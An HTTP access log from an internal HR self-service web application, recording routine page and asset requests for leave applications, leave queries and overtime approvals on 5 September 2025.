192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.96 - - [05/Sep/2025:13:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.96 - - [05/Sep/2025:13:32:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.96 - - [05/Sep/2025:13:32:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.96 - - [05/Sep/2025:13:32:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.96 - - [05/Sep/2025:13:32:17 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.96 - - [05/Sep/2025:13:32:17 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.96 - - [05/Sep/2025:13:32:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.96 - - [05/Sep/2025:13:32:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.96 - - [05/Sep/2025:13:32:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568
192.168.11.96 - - [05/Sep/2025:13:32:25 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:13:32:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:32:35 +0800] "GET / HTTP/1.1" 200 439
192.168.11.96 - - [05/Sep/2025:13:32:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.96 - - [05/Sep/2025:13:32:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.96 - - [05/Sep/2025:13:32:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46147373843741724 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46147373843741724 HTTP/1.1" 200 8456
192.168.11.96 - - [05/Sep/2025:13:33:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46147373843741724 HTTP/1.1" 200 10631 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46147373843741724" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46147373843741724 HTTP/1.1" 200 10631
192.168.11.96 - - [05/Sep/2025:13:33:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201
192.168.11.96 - - [05/Sep/2025:13:33:19 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.96 - - [05/Sep/2025:13:33:19 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.96 - - [05/Sep/2025:13:33:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.96 - - [05/Sep/2025:13:33:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7543 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7543
192.168.40.98 - - [05/Sep/2025:13:33:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 248568 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:33:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 248568
192.168.11.96 - - [05/Sep/2025:13:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 79320 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 79320
192.168.11.96 - - [05/Sep/2025:13:33:51 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.96 - - [05/Sep/2025:13:33:51 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:51 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:33:51 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.40.98 - - [05/Sep/2025:13:33:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:33:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:33:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131086%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131086&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:33:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131086%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131086&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:33:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:33:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
